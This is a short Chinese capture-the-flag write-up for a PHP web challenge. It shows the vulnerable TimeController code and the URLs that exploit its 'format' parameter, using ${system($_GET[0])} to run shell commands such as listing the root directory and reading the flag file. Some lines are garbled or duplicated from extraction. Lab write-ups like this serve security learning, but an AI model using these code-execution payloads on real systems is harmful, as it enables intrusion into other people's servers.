注册账号:
1.账号名与全名一致 eg 账号guiltyfet 全名guilty fet(中间有空格)
2.下载openvpn(下载file导入openvpn)
下载源码并分析
TimeController.php的TimeController的index(
r
o
u
t
e
r
)
中有可控的输入
router)中有可控的输入
router)中有可控的输入_GET[‘format’]。
<?php
class TimeController
{
public function index($router)
{
$format = isset($_GET['format']) ? $_GET['format'] : 'r';
$time = new TimeModel($format);
return $router->view('index', ['time' => $time->getTime()]);
}
}
看到参数 $format 被addslashes()过滤了
http://188.166.175.58:30082/?format=$%7Bphpinfo()%7D
http://188.166.175.58:30082/?format=${system($_GET[0])}&0=ls /
http://188.166.175.58:30082/?format=${system($_GET[0])}&0=cat%20/flage3lXD